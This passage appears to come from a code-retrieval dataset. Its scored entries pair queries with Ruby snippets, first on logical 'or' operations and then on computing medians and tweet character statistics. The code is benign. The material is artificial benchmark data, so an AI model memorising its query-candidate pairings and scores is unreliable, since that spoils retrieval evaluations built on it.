"text": "def first_object(a, b, c)\n if a || b || c\n a || b || c\n else\n nil\n end\nend", "title": "" }, { "docid": "b81be148e5639ad1481a894c285d9a1e", "score": "0.5630481", "text": "def process_or(exp)\n Operator::Logical::Or.new(process(exp.shift), process(exp.shift))\n end", "title": "" }, { "docid": "1e5d3afacaee1b83f6629edc179ba8e6", "score": "0.5624514", "text": "def union a, b\n\t\n\tend", "title": "" }, { "docid": "0a9fe20aa0c5d2afc7a962fe0edc9fb7", "score": "0.5614745", "text": "def or(other)\n if other.is_a?(Relation)\n if @none\n other.spawn\n else\n spawn.or!(other)\n end\n else\n raise ArgumentError, \"You have passed #{other.class.name} object to #or. Pass an ActiveRecord::Relation object instead.\"\n end\n end", "title": "" }, { "docid": "1207329575a7cbf3266679ef08c6af3e", "score": "0.56055933", "text": "def or_else(other)\n PartialFunction.new(lambda { |x| self.defined_at?(x) || other.defined_at?(x) },\n lambda { |x| if self.defined_at?(x) then self.call(x) else other.call(x) end })\n end", "title": "" }, { "docid": "09d8639186295e16396f105284d6b88b", "score": "0.55984604", "text": "def or(other)\n make_new_composite 'anyOf', other\n end", "title": "" }, { "docid": "a4cad50b3bfd96461555a8777f3a92af", "score": "0.55950135", "text": "def or(rhs)\n Mao::Filter::Binary.new(:op => 'OR', :lhs => self, :rhs => rhs).freeze\n end", "title": "" }, { "docid": "3db0d181b7397b539d1b49ff3bdaee9e", "score": "0.55603254", "text": "def compile_or scope, left, right\n @e.comment(\"compile_or: #{left.inspect} || #{right.inspect}\")\n\n ret = compile_eval_arg(scope,left)\n l_or = @e.get_local + \"_or\"\n compile_jmp_on_false(scope, ret, l_or)\n\n l_end_or = @e.get_local + \"_end_or\"\n @e.jmp(l_end_or)\n\n @e.comment(\".. or:\")\n @e.local(l_or)\n or_ret = compile_eval_arg(scope,right)\n @e.local(l_end_or)\n\n @e.evict_all\n\n combine_types(ret,or_ret)\n end", "title": "" }, { "docid": "3db0d181b7397b539d1b49ff3bdaee9e", "score": "0.55603254", "text": "def compile_or scope, left, right\n @e.comment(\"compile_or: #{left.inspect} || #{right.inspect}\")\n\n ret = compile_eval_arg(scope,left)\n l_or = @e.get_local + \"_or\"\n compile_jmp_on_false(scope, ret, l_or)\n\n l_end_or = @e.get_local + \"_end_or\"\n @e.jmp(l_end_or)\n\n @e.comment(\".. or:\")\n @e.local(l_or)\n or_ret = compile_eval_arg(scope,right)\n @e.local(l_end_or)\n\n @e.evict_all\n\n combine_types(ret,or_ret)\n end", "title": "" }, { "docid": "1a59a2d777060e84d32568d58b59fefc", "score": "0.5556958", "text": "def |(matcher); end", "title": "" }, { "docid": "0bdfba6229a6f2097437e77ee9e10df1", "score": "0.5556512", "text": "def or(*alternatives)\n options = [self] + alternatives.each_with_index.map { |o, i| Option.expected!(o, \" at index #{i}\") }\n found = options.find(&:some?)\n return found unless found.nil?\n return Option.expected!(yield) if block_given?\n Option.empty\n end", "title": "" }, { "docid": "595e2463f8bb02a9f2bb8151bf249ec9", "score": "0.5543702", "text": "def evaluate_operator(left, right)\n left or right\n end", "title": "" }, { "docid": "1a9e795c410192276c5e0f580301d2d1", "score": "0.5535852", "text": "def or(*params, &block)\n @target.append_clause(params, \"OR\", &block)\n end", "title": "" }, { "docid": "71ccdecbfcf2d13d141acc849eb34fba", "score": "0.553462", "text": "def or_clause(*args)\n if args.length > 1\n \"(#{args.join(\" OR \")})\"\n else\n args.first\n end\n end", "title": "" }, { "docid": "de96c2bd487b9eb41c95b94e94a4cad0", "score": "0.55293584", "text": "def either\n @either = (pd_at || cu_at)\n end", "title": "" }, { "docid": "40b0f7b08c67d3c97b856bd7283f4301", "score": "0.5523592", "text": "def get_or_else(&block)\n yield\n end", "title": "" }, { "docid": "1377f42afce257a345c98e46db75416b", "score": "0.5517541", "text": "def call_or_value; end", "title": "" }, { "docid": "552d7d25c68c80b320e07013af8db30d", "score": "0.550162", "text": "def complex_condition_or_ar\n Actor.where(first_name: 'Nick').or(Actor.where(last_name: 'Wahlberg'))\nend", "title": "" }, { "docid": "4e9359051000d02f8b2537440d91371e", "score": "0.5497742", "text": "def ternary?; end", "title": "" }, { "docid": "4e9359051000d02f8b2537440d91371e", "score": "0.5497742", "text": "def ternary?; end", "title": "" }, { "docid": "e4dd07aad7bb9ac78e72a9de2a3ce0b7", "score": "0.54914975", "text": "def merge(a, b)\n a | b\nend", "title": "" }, { "docid": "6d46992a51007f7953951a5df61d4c74", "score": "0.5487775", "text": "def either(_, f)\n f.(@value)\n end", "title": "" }, { "docid": "77a79564e32416d2ea617a66f25dd043", "score": "0.54843915", "text": "def test_binary_or_skips_over_right_block\n assert_eq interpret('name=1; true || { var=1; name=2}; :var'), Undefined\n# assert_eq ctx.vars[:name], 1\n end", "title": "" }, { "docid": "98cc7c69d38bd336f3e1ab2af20b7157", "score": "0.54719985", "text": "def one_or_yield(&bl)\n first = nil\n each do |x|\n raise OneError, \"Relation has more than one tuple\" unless first.nil?\n first = x\n end\n first.nil? ? bl.call : first\n end", "title": "" }, { "docid": "08b9f14afef02462ac71dad588e963c5", "score": "0.54648376", "text": "def |(val)\n return expression \"(#{self}) OR (#{val})\"\n end", "title": "" }, { "docid": "dd1751b683a56f0c9617f8a0434da6ae", "score": "0.5462197", "text": "def or_join \n self.compact.join(\", \").reverse.sub(\",\",\"ro \").reverse\n #as and_join but uses 'or ' instead. ['this', 'that', 'those'] => \"this, that or those\"\n end", "title": "" }, { "docid": "23dbca27b49cb31ebc2250a894706c33", "score": "0.5460872", "text": "def visitOrExpression(ctx)\n handlePrecondition(ctx,\"atLeastOneTrue\")\n end", "title": "" }, { "docid": "02e0cab93c3634a331c2b01761cf0aef", "score": "0.5457543", "text": "def sql_or\n Sequel.or(self)\n end", "title": "" }, { "docid": "75d4b90dc97323b4d5c7fdab36334511", "score": "0.54548377", "text": "def Or(a, b)\n return Expression::new(Or, a, b)\n end", "title": "" }, { "docid": "750076f6257ffa94fe953e8763124273", "score": "0.54496735", "text": "def logical(first, last)\n first > last and \"yeah\" or \"boo\" # We can substitute and and or with && and ||\nend", "title": "" }, { "docid": "97514b7149390880be0e9f1675a41701", "score": "0.54474163", "text": "def alternate_operator; end", "title": "" }, { "docid": "97514b7149390880be0e9f1675a41701", "score": "0.54474163", "text": "def alternate_operator; end", "title": "" }, { "docid": "97514b7149390880be0e9f1675a41701", "score": "0.54474163", "text": "def alternate_operator; end", "title": "" }, { "docid": "97514b7149390880be0e9f1675a41701", "score": "0.54474163", "text": "def alternate_operator; end", "title": "" }, { "docid": "7e9d31b31c92ed6e5a27715bd5e054ac", "score": "0.5439579", "text": "def process_or_simple_operation exp\n arg = exp.first_arg\n return nil unless string? arg or number? arg\n\n target = exp.target\n lhs = process_or_target(target.lhs, exp.dup)\n rhs = process_or_target(target.rhs, exp.dup)\n\n if lhs and rhs\n if same_value? lhs, rhs\n lhs\n else\n exp.target.lhs = lhs\n exp.target.rhs = rhs\n exp.target\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "189be7330b29f62e24c4352db4ec0ce1", "score": "0.54349315", "text": "def joinor(empty_squares, connective_1=', ', connective_2='or')\n choices = empty_squares.join(connective_1)\n choices[-3] = \" #{connective_2}\" if choices.length > 2\n choices\nend", "title": "" }, { "docid": "d99b5a7c711b3dee8a7897a75e8f4b33", "score": "0.54124165", "text": "def test_OR_works\n assert_includes [9,3], 9 || 3\n end", "title": "" }, { "docid": "c5a76e10121ef0c17d2245dc7a253c08", "score": "0.5398385", "text": "def one_or_nil\n one_or_yield{ nil }\n end", "title": "" }, { "docid": "339ee1ae3e1594c0fb1791f9cf76db49", "score": "0.5388266", "text": "def or(other, step = :auto, method = :auto)\n\t\tres = apply_norm(:s, other, step, method)\n\t\tif block_given?\n\t\t\tyield res\n\t\tend\n\t\treturn res\n\tend", "title": "" }, { "docid": "78ec08f0aceb0503157cc2b4e9b5ff12", "score": "0.53876007", "text": "def one_or_more(&b)\n add(\"(?:\")\n yield\n add(\")+\")\n end", "title": "" }, { "docid": "992481031536c4ea56141f0cb3bfdd1b", "score": "0.53868914", "text": "def and(right); end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.53820276", "text": "def |(arg0)\n end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.53820276", "text": "def |(arg0)\n end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.53820276", "text": "def |(arg0)\n end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.53820276", "text": "def |(arg0)\n end", "title": "" }, { "docid": "290b6cd21f8cd484e2876cac370c014b", "score": "0.53628117", "text": "def trailing_and_or(array, bool_op)\n array.each do |a|\n # If the array has only one or no elements, it will return just the one element (or nothing).\n if array.length < 2\n type(\"#{a}\")\n # Otherwise, it runs as intended.\n elsif array.length > 2\n if a == array.last\n type(\"#{bool_op} #{a}\")\n else\n type(\"#{a}, \")\n end\n else\n if a == array.last\n type(\"#{bool_op} #{a}\")\n else\n type(\"#{a} \")\n end\n end\n end\n end", "title": "" }, { "docid": "cf4f99375ed763582d32139919d9513d", "score": "0.5361887", "text": "def union(other)\n Operation.new(:or, dup, other.dup).minimize\n end", "title": "" }, { "docid": "0c6a2da379018a2a9bcb82ab8a6d6012", "score": "0.5355801", "text": "def one?(*) end", "title": "" }, { "docid": "193c44f43e76301ff7edef6034c0a2e0", "score": "0.535253", "text": "def or_b\n reset_flags\n result = @a | @b\n \n result == 0x00 ? set_z_flag : 0\n\n @a = result & 0xFF\n end", "title": "" } ]
97125d696445ff81b3b0feb49f538d91
Measures the median number of characters of a set of tweets
[ { "docid": "2a906cb34042da19743768bc0b142d5e", "score": "0.7830577", "text": "def median_number_of_characters(array_of_text)\n array_of_numbers = number_of_characters(array_of_text)\n return median(array_of_numbers)\n end", "title": "" } ]
[ { "docid": "515022584ee8268dc0b71e2713245ef9", "score": "0.63409257", "text": "def get_density(number_of_tweets=50)\n \n tweets = $redis.lrange self.term, (-number_of_tweets), -1\n if tweets.count > 1\n # calculate the timespan and then tweets per minute\n # of the result set\n start_time = Time.parse(ActiveSupport::JSON.decode(tweets.first)[\"created_at\"])\n end_time = Time.parse(ActiveSupport::JSON.decode(tweets.last)[\"created_at\"])\n\n time_elapsed = end_time - start_time\n if time_elapsed == 0\n time_elapsed = 1\n end\n \n return (tweets.count / (time_elapsed/ 60))\n else\n return -1\n end\n end", "title": "" }, { "docid": "d1349b49345efa8ceaca0af93ed20754", "score": "0.62573624", "text": "def non_ascii_characters_ratio(tweet)\n return tweet.gsub(\" \", \"\").chars.count { |char| char.ord > 127 }.to_f / tweet.gsub(\" \", \"\").length\nend", "title": "" }, { "docid": "bdbacf5b40d931040bf4da0518506e6e", "score": "0.6245463", "text": "def avg_explitives tweets\n\n\t\ttarget_words = []\n\t\tCSV.foreach(\"resources/swearWords.csv\") do |row|\n\t\t\ttarget_words = row\n\t\tend\n\n\t\ttweet_count = 0\n\t\texplitive_count = 0\n\n\t\ttweets.each do |tweet|\n\n\t\t\ttweet_count = tweet_count + 1\n\t\t\t# => REGEX no word characters, combining delimiters\n\t\t\twords = tweet.text.split(/\\W+/)\n\t\t\t# => compare each word to our list\n\t\t\twords.each do |word|\n\t\t\t\texplitive_count = explitive_count + 1 if target_words.include? word.downcase\n\t\t\tend\n\t\tend\n\n\t\tresult = explitive_count.to_f / tweet_count.to_f\n\n\t\tresult.round(5)\n\t\t\n\tend", "title": "" }, { "docid": "914450ba1a6300a93ae709bc9cd37343", "score": "0.6244941", "text": "def mentions_length\n text = tweet_text.split(\" \")\n mentions = text.select do |word|\n word.index('@') == 0 && word.length > 1\n end\n return mentions.join(\" \").length\n end", "title": "" }, { "docid": "2bbed5b0522b6cb76da123cb8d23540e", "score": "0.61902523", "text": "def median array\n array.sort!\n length = array.length\n\n if array.any? { |object| object.is_a?String }\n array[length / 2]\n else\n (array[(length - 1) / 2] + array[length / 2]) / 2.0\n end\nend", "title": "" }, { "docid": "53139dcfe51cec8069471370d895e6a5", "score": "0.6177514", "text": "def median(array)\n\tsorted = array.sort\n\n\t# Calculate median if there are no string values\n\t\tif sorted.length%2 != 0\n\t\t\tmed = sorted[(sorted.length/2).floor]\n\t\telse\n\t\t\tmed = (sorted[sorted.length/2]+sorted[(sorted.length/2)-1])/2.to_f\n\t\tend\n\nend", "title": "" }, { "docid": "9895b5c5f7e61092e54c2cd9bbce3b7a", "score": "0.61433214", "text": "def mean_number_of_characters(array_of_text)\n array_of_numbers = number_of_characters(array_of_text)\n return mean(array_of_numbers)\n end", "title": "" }, { "docid": "455bc582db73eb2c5a839f9c343fc95a", "score": "0.61141264", "text": "def median_strings dna_strands, k\n best = []\n best_score = k\n kmers = all_strings(k, ['A','C','T','G'])\n kmers.each do |kmer|\n score = shortest_hamming_total(kmer, dna_strands)\n if score < best_score \n best = [kmer]\n best_score = score\n elsif score == best_score\n best << kmer\n end\n end\n best\nend", "title": "" }, { "docid": "883f394ecb9058aefdc226036411f84c", "score": "0.60897756", "text": "def mean_vs_median(numbers)\n # calculate mean\n mean = numbers.inject(:+) / numbers.length \n arr_length = numbers.sort!.length\n\n # calculate median\n median = arr_length.odd? ? numbers[(numbers.length - 1) / 2] : ( numbers[numbers.length/2] + numbers[numbers.length/2 - 1] )/2.to_f\n\n return \"mean\" if mean > median\n return \"median\" if median > mean\n return \"same\"\n end", "title": "" }, { "docid": "ce59891e3bd63c9b845df88ad4aed05e", "score": "0.60853297", "text": "def median_time_taken\n times = answers.map{ |x| x.time_taken }\n median(times)\n end", "title": "" }, { "docid": "3cacf203a06574ee9c69969ed6b7f7ad", "score": "0.6076158", "text": "def median(array)\n\tsorted = array.sort\n\n\t# Check if the array has string values by testing the first element\n\n\tif sorted[0].is_a?(String)\n\tmed = sorted[(sorted.length/2).floor]\n\telse\n\n\t# Calculate median if there are no string values\n\t\tif sorted.length%2 != 0\n\t\t\tmed = sorted[(sorted.length/2).floor]\n\t\telse\n\t\t\tmed = (sorted[sorted.length/2]+sorted[(sorted.length/2)-1])/2.to_f\n\t\tend\n\tend\n\n\nend", "title": "" }, { "docid": "f5f8e4d38f74397c96df8557d22f6014", "score": "0.6018315", "text": "def median_time_taken\n times = student_tests.map{ |x| x.time_taken }\n median(times)\n end", "title": "" }, { "docid": "217e8e81dce1669221d8087c6f2d0c34", "score": "0.60121095", "text": "def median array\n\tmed = \"\"\n\tsorted = array.sort\n\tif array.length % 2 == 0 then\n\t\tmed = sorted[(array.length/2-1)].to_f + sorted[(array.length/2)].to_f\n\t\tmed = med/2\n\telse \n\t\tmed = sorted[(array.length/2).ceil]\n\tend\n\t\treturn med\nend", "title": "" }, { "docid": "ea0e4b377afe06634fb41e5080483bb9", "score": "0.5975114", "text": "def top_words(all_words_by_artist)\r\n count_hash = {}\r\n total_count = 0\r\n all_words_by_artist.each{|word, details|\r\n count_hash[word] = details.flatten.count\r\n total_count += details.flatten.count\r\n }\r\n\r\n sorted = count_hash.sort_by{|word, count| count}.reverse\r\n sorted.each_with_index{|array, index| sorted[index] << array[1].to_f/total_count.to_f}\r\n return sorted\r\nend", "title": "" }, { "docid": "7d27f0f2c2c4306e2ce1d6327950c4d4", "score": "0.5957494", "text": "def find_median()\n\n end", "title": "" }, { "docid": "8536c46ab2469a3ec77efa05cda6a501", "score": "0.59241813", "text": "def score\n tweet_score = (Math::E**(-age_in_seconds()/100000)) * ((retweet_count + 1)**(2/3)) * (users_followers + 1) * (favorite_count ** (1/3) + 1)\n # 0.1 **(country) 0 = english speaking 1 = non english\n # tweet_score = (users_followers + favorite_count + retweet_count)/(age_in_seconds + 1.0)\n num_gray_list_words = 0\n Tweet::GRAY_LIST.each do |gray_word|\n if tweet_text.include?(gray_word)\n num_gray_list_words += 1\n end\n end\n\n tweet_score *= (0.02**num_gray_list_words)\n return tweet_score\n end", "title": "" }, { "docid": "105fae2f2cca451f1e1b37fe3441d101", "score": "0.59149927", "text": "def find_median()\n \n end", "title": "" }, { "docid": "105fae2f2cca451f1e1b37fe3441d101", "score": "0.59149927", "text": "def find_median()\n \n end", "title": "" }, { "docid": "ff32a3b359fb85d391af4998538e2531", "score": "0.5908995", "text": "def median(numbers)\r\n sorted = numbers.sort\r\n count = numbers.length\r\n count % 2 != 0 ? sorted[(count / 2)] : (sorted[count/2] + sorted[(count/2) - 1]).to_f / 2.0\r\nend", "title": "" }, { "docid": "49b929cc9e54e18f60fbd22df1a5e82a", "score": "0.58960086", "text": "def median_mark\n marks = answers.map{|x| x.earned_marks }\n median(marks)\n end", "title": "" }, { "docid": "c28e2203f3bcaee537d357b28a31c27e", "score": "0.5875687", "text": "def median_ish\n sorted = self.sort\n len = sorted.length\n return self[len / 2]\n end", "title": "" }, { "docid": "b0a4852daa2ace56feca0e554a9d1674", "score": "0.58700716", "text": "def median(array)\n array.sort!\n if array.length % 2 != 0\n return array[array.length / 2 ]\n else\n if array.any? {|element| element.is_a? String}\n result = []\n result.push array[((array.length)/2 - 1)..((array.length)/2)]\n else\n return (array[((array.length)/2 - 1)] + array[(array.length)/2]) / 2.0\n end\n end\nend", "title": "" }, { "docid": "92448db0725ddc909c97b1443c0e3eba", "score": "0.5833232", "text": "def median\n @median ||= DoubleDescriptive.median(sorted_data)\n end", "title": "" }, { "docid": "a8b2eb1035b45af74e973982775bb2dc", "score": "0.58295727", "text": "def median\n percentile(50)\n end", "title": "" }, { "docid": "19cefaaca17bdb3cf2451683de95ce38", "score": "0.5775753", "text": "def find_median()\r\n \r\n end", "title": "" }, { "docid": "54f934efe42dae6306b1a17d51ceafbf", "score": "0.57749707", "text": "def process_tweets(tweets)\n puts \"Total tweets #{tweets.size}\"\n tweets.each { |tweet|\n words = tweet.split\n words.each { |word|\n @words_hash[word] += 1 unless IGNORE_WORDS_LIST.include?(word.downcase)\n }\n }\n end", "title": "" }, { "docid": "62b4bce49e831830b6001a5f9b215410", "score": "0.5764962", "text": "def median\n len = self.size\n sorted = self.sort\n (len % 2 == 1) ? sorted[len/2] : (sorted[len/2-1]+sorted[len/2]).to_f/2\n end", "title": "" }, { "docid": "d0093f17aa1ea06672bca4fe77621c27", "score": "0.57525575", "text": "def median\n return nil if @answer_counter < 1\n\n # Calculate median\n midpoint = @answer_counter / 2\n acc = 0\n @sums.each do |value, freq|\n acc += freq\n return value if acc >= midpoint\n end\n end", "title": "" }, { "docid": "70e93ee7eb291f51c7de0b892cc0a4c6", "score": "0.57444894", "text": "def median(string)\n case\n when string.size.odd?\n string[string.size/2.floor]\n else\n string[string.size/2 - 1] + string[string.size/2]\n end\nend", "title": "" }, { "docid": "93b20f757fdfbf118e225e3ec7d4c6d5", "score": "0.57378554", "text": "def median(array)\n\tif array[0].is_a?(String)\n\t\tarray.sort[array.length/2]\n else\n\t\tsorted = array.sort\n\t\t((sorted[(sorted.length-1)/2]) + (sorted[sorted.length/2]))/2.0\n\tend\nend", "title": "" }, { "docid": "b4ec213c1b8e9fe4431af618e6814f77", "score": "0.5720785", "text": "def median_time\n return 0 if self.task_responses.size == 0\n\n durations = self.task_responses.map(&:work_duration).sort\n middle = durations.length / 2\n if (durations.size % 2) == 0\n # even, take mean of middle 2\n return (durations[middle] + durations[middle-1]) / 2.0\n else\n # odd, return middle\n return durations[middle]\n end\n end", "title": "" }, { "docid": "7edc6d0f25c35ce1343172610c3d966f", "score": "0.5712719", "text": "def median(enumerable)\n Stats.calculate(enumerable, :median)\n end", "title": "" }, { "docid": "5341bbdc2658f0201d172593d2b7313e", "score": "0.5710966", "text": "def median(array)\n ascend = array.sort\n if ascend % 2 != 0\n (ascend.length + 1) / 2.0\n else\n ((ascend.length/2.0) + ((ascend.length + 2)/2.0) / 2.0)\n end\nend", "title": "" }, { "docid": "a806394b414683675362cda9ccd2469c", "score": "0.570075", "text": "def median\n apply_method :numeric, :median\n end", "title": "" }, { "docid": "a806394b414683675362cda9ccd2469c", "score": "0.570075", "text": "def median\n apply_method :numeric, :median\n end", "title": "" }, { "docid": "596fdbd67d021a52673923d9dee9902c", "score": "0.5696876", "text": "def results_median(points: false)\n return 0 if self.max_mark.zero?\n\n marks = self.completed_result_marks\n if marks.empty?\n 0\n else\n point_median = DescriptiveStatistics.median(marks)\n points ? point_median : (point_median * 100 / self.max_mark).round(2).to_f\n end\n end", "title": "" }, { "docid": "a7608d6e45d247cad8e112c031d09a3a", "score": "0.5694933", "text": "def median\n return 0 if self.out_of.zero?\n\n marks = grades_array\n marks.empty? ? 0 : DescriptiveStatistics.median(marks)\n end", "title": "" }, { "docid": "a92e67ed39eddb05f3490f466b24b558", "score": "0.56947166", "text": "def popular_character_array(array)\n popular_names = array.select do |characters|\n character[:mention].to_i > 500\n end\n return popular_names\nend", "title": "" }, { "docid": "acc4e2241930f55799188f05328245f8", "score": "0.56935364", "text": "def length_median_a\n point_a.distance_to_point(point_b.get_midpoint point_c)\n end", "title": "" }, { "docid": "28cc0ddb106d5567c5598046abb1f35c", "score": "0.5690848", "text": "def median(array_num)\nend", "title": "" }, { "docid": "a6d4d0d11739812d82fd9b96942b192d", "score": "0.5689226", "text": "def median\n return 0 if self.max_mark.zero?\n\n marks = grades_array\n marks.empty? ? 0 : DescriptiveStatistics.median(marks)\n end", "title": "" }, { "docid": "5f0185cd65f0c5d27eafd0a8b077c0d2", "score": "0.567471", "text": "def median\n\t\tnums = numerics\n\t\treturn nil if nums.empty?\n\t\tsorted = nums.sort\n\t\tif sorted.length.odd?\n\t\t\tnums[nums.length/2]\n\t\telse\n\t\t\t(nums[nums.length/2-1] + nums[nums.length/2]) / 2.0\n\t\tend\n\tend", "title": "" }, { "docid": "3bc63cce4694511de3d55384d4054650", "score": "0.56630385", "text": "def char_per_tweet(user)\n all_tweets = TwitterAccount.find_by(user_id: user.id).tweets\n end", "title": "" }, { "docid": "547e73a6f1d53564c79aaf915d16538d", "score": "0.56628597", "text": "def median\n verify_not_empty\n middle = size / 2 \n median = sort_data[middle]\n return median.to_f if size.odd?\n 0.5 * (sort_data[middle - 1] + median)\n end", "title": "" }, { "docid": "4cac45deda999f7fbc9bcff38cf88881", "score": "0.565843", "text": "def median(numbers)\n numbers.sort!\n count = numbers.size\n\n if count % 2 != 0\n return numbers[count / 2]\n else\n return (numbers[count / 2 - 1] + numbers[count / 2]).to_f / 2\n end\nend", "title": "" }, { "docid": "bb0872d7acb9e77ffff2fa0bd6c8d73b", "score": "0.5650385", "text": "def calculate_median\n percentage_grades = percentage_grades_array\n percentage_grades.blank? ? 0 : DescriptiveStatistics.median(percentage_grades)\n end", "title": "" }, { "docid": "ecb73ea717fc782b3756dea8b4d86ce4", "score": "0.56478953", "text": "def median\n end", "title": "" }, { "docid": "170f3c4f9f017a105740b9c6b5b24229", "score": "0.5640896", "text": "def multiple_mentions(characters)\n return characters.select { |h| h[:mentions].to_i > 500 } \nend", "title": "" }, { "docid": "94f7a8439d96d674d5281559d25128ef", "score": "0.56408536", "text": "def shortened_tweet_truncator(tweet)\n shortened = selective_tweet_shortener(tweet)\n\n if shortened.length > MAX_TWEET_LENGTH\n shortened[0...MAX_TWEET_LENGTH]\n else\n shortened\n end\nend", "title": "" }, { "docid": "0430a001807288316787d77a26de4ba6", "score": "0.5638563", "text": "def analyze_tweets(tweets)\n\t\t@tweets = tweets\n\t\t@totalsentiment = 0\n @totaltweets = 0;\n \t@tweetsinfo = []\n \t\t@tweets.each do |t|\n @totaltweets+=1;\n \t\t\ttsentiment = get_sentiment(t.text).to_s\n \t\t\tif tsentiment == 'positive'\n \t\t\t\t@totalsentiment-=1\n \t\t\telsif tsentiment == 'negative'\n \t\t\t\t@totalsentiment+=1\n \t\t\tend\n \t\t\tformattedTime = t.created_at.strftime(\"%m/%d/%Y %H:%M\")\n \t\t\t@tweetsinfo.push(text: t.text, created_at: formattedTime, sentiment: tsentiment)\n \t\tend\n @sentimentnormalized = @totalsentiment*50/@totaltweets;\n \t@info = {totalsentiment: @sentimentnormalized , tweets: @tweetsinfo}\n\tend", "title": "" }, { "docid": "0d3b7bffa220d52579fd4d8948070a65", "score": "0.5636579", "text": "def median\n return nil unless @count > 0\n\n # Sort the values if we arent sure if they are sorted or not.\n @values.sort! unless @values_sorted\n @values_sorted = true\n\n # If the set is even, we need the average of the two middle values\n # If we ignore that and always average the two middle values the\n # answer works for even and odd sets.\n (@values[@count/2] + @values[(@count-0.5)/2])/2.0\n end", "title": "" }, { "docid": "5dc3406583403b6d94b4c15d05a43db2", "score": "0.563437", "text": "def median\n return nil if empty?\n sorted = sort\n len = length\n if 1 == len % 2\n sorted[len/2]\n else\n (sorted[len/2 - 1] + sorted[len/2]).to_f / 2\n end\n end", "title": "" }, { "docid": "544b06d37b1d981ef74dfac0fb53201f", "score": "0.56316584", "text": "def character_mentions_500\n csv = CSV.read('potter.csv', :headers => true, :header_converters => :symbol)\n csv[:mentions].select {|num| num.to_i >500}\n end", "title": "" }, { "docid": "4a156aac2af1e032645d6dea034b2ad6", "score": "0.56239265", "text": "def characters_over_500(characters)\n characters.select do |each_character|\n each_character[:mentions].to_i > 500\n end\nend", "title": "" }, { "docid": "3e2f5a484d3bc772e9362e72a9039c28", "score": "0.5613853", "text": "def find_median_sorted_arrays(nums1, nums2)\n length = nums1.length + nums2.length\n length.odd? ? find_kth(nums1, nums2, length / 2) : (find_kth(nums1, nums2, length / 2) + find_kth(nums1, nums2, length / 2 - 1)) / 2.0\nend", "title": "" }, { "docid": "fc170713dc4517aa4e8ac30f6d469011", "score": "0.5607414", "text": "def tokenizer_stats_entries_tot\n V3::TokenExtractor.new(\n :entries_tot,\n /\\s{2}\\d+/i,\n 10\n )\n end", "title": "" }, { "docid": "c21a27f56c7d0fe18cc00f89c117b54c", "score": "0.5604861", "text": "def median(array)\n sorted = array.sort\n if array.length.odd? # if odd, return middlemost number\n sorted[array.length / 2].to_f\n else # if even, return mean of two middlemost numbers\n left_index = array.length / 2\n right_index = left_index + 1\n (sorted[left_index] + sorted[right_index]) / 2.0\n end\n end", "title": "" }, { "docid": "5765c5bb47a0fcf5898cc45a1cb14c5b", "score": "0.5604032", "text": "def median_marks_earned\n marks = student_test.map{ |x| x.earned_marks }\n median(marks)\n end", "title": "" }, { "docid": "16e7f241bb530401c97b15aff6e78675", "score": "0.55988795", "text": "def calculate_median array\n sorted = array.sort\n size = sorted.length\n return (sorted[(size - 1) / 2] + sorted[size / 2]) / 2.0\nend", "title": "" }, { "docid": "2c71f60085b6c0cca9b2d3fbe453c075", "score": "0.5597768", "text": "def median(array)\n sorted = array.sort\n len = sorted.length\n (sorted[(len - 1) / 2] + sorted[len / 2]) / 2.0\nend", "title": "" }, { "docid": "fab36c8cbf1c5fc4dff35167093fc989", "score": "0.5596101", "text": "def average_brevity ( tweets )\n puts \"Average brevity is... \"\nend", "title": "" }, { "docid": "ce0e76edef475b2bd4a714c010df7240", "score": "0.5592993", "text": "def selective_tweet_shortener(tweet)\n tweet_length = tweet.split(\"\").length\n if tweet_length < 140\n tweet\n elsif tweet_length > 140\n short_tweet = [ ]\n long_tweet_array = tweet.split(\" \")\n long_tweet_array.each do |word|\n if dictionary.keys.include?(word)\n short_tweet << dictionary[word]\n else\n short_tweet << word\n end\n end\n short_tweet.join(\" \")\n end\nend", "title": "" }, { "docid": "49fcfaaed2f8f040dfbf9efe2c1939e1", "score": "0.55900586", "text": "def length_median_c\n point_c.distance_to_point(point_a.get_midpoint point_b)\n end", "title": "" }, { "docid": "db2eb18112d0338221605cd0ce061f9a", "score": "0.55829495", "text": "def median\n self.sort[self.length/2]\n end", "title": "" }, { "docid": "37b3647a9c73550fea7cfceb629be0d3", "score": "0.5581672", "text": "def get_median(array)\n numElems = array.length\n if numElems <= 5\n array.sort! { |x, y| y <=> x }\n array[((numElems+1)/2) - 1]\n else \n medians = []\n index = 0\n while index < numElems do\n set = []\n count = (numElems - index >= 5) ? 5 : numElems - index \n count.times { |j| set << array[index + j] }\n set.sort! { |x, y| y <=> x }\n medians << set[((count+1)/2) - 1]\n index += count\n end\n get_median(medians)\n end\n end", "title": "" }, { "docid": "3c08637ababecb995f75c7450bb1cc44", "score": "0.5569791", "text": "def character_analysis(raw_text)\n statistics = Hash.new\n statistics.store(\"char_counts\", number_of_characters(raw_text))\n statistics.store(\"total\", total_number_of_characters(raw_text))\n statistics.store(\"max\", maximum_number_of_characters(raw_text))\n statistics.store(\"min\", minimum_number_of_characters(raw_text))\n statistics.store(\"mean\", mean_number_of_characters(raw_text))\n statistics.store(\"med\", median_number_of_characters(raw_text))\n statistics.store(\"mode\", mode_number_of_characters(raw_text))\n return statistics \n end", "title": "" }, { "docid": "c2d7afbd86b461c9a726bfe37de9ddb3", "score": "0.55682003", "text": "def shortened_tweet_truncator(tweet)\n if word_substituter(tweet).length > 140 #greater than 140 characters\n word_substituter(tweet)[0..139] #returns each letter, space, symbol, or other characters from 0-139\n else\n tweet\n end\n end", "title": "" }, { "docid": "2e5d2bce2f845ff9ebe0820d8689940b", "score": "0.5565019", "text": "def median (arr)\n arr.sort!\n arr_mid = arr.length / 2\n \n # return middle value if odd length\n return arr[arr_mid] if arr.length % 2 == 1 \n \n #round down for middle index if an array of strings\n return arr[arr_mid-1] if arr[arr_mid].is_a? String \n \n # Average middle 2 numbers if even-length array of numbers\n return (arr[arr_mid] + arr[arr_mid-1]).fdiv(2) \n \nend", "title": "" }, { "docid": "75527a77c938899ff019a483f6b88782", "score": "0.5558678", "text": "def median(my_array)\n\tlength = my_array.size\n\n\traise \"Median not defined for an empty list\" unless length != 0\n\traise \"Array should contain strings or numbers\" unless my_array[0].class === (\"String\" || \"Fixnum\") || \"Float\"\n\n\tif (length % 2 == 0)\n\t\tif my_array[0].class === 'String'\n\t\t\treturn 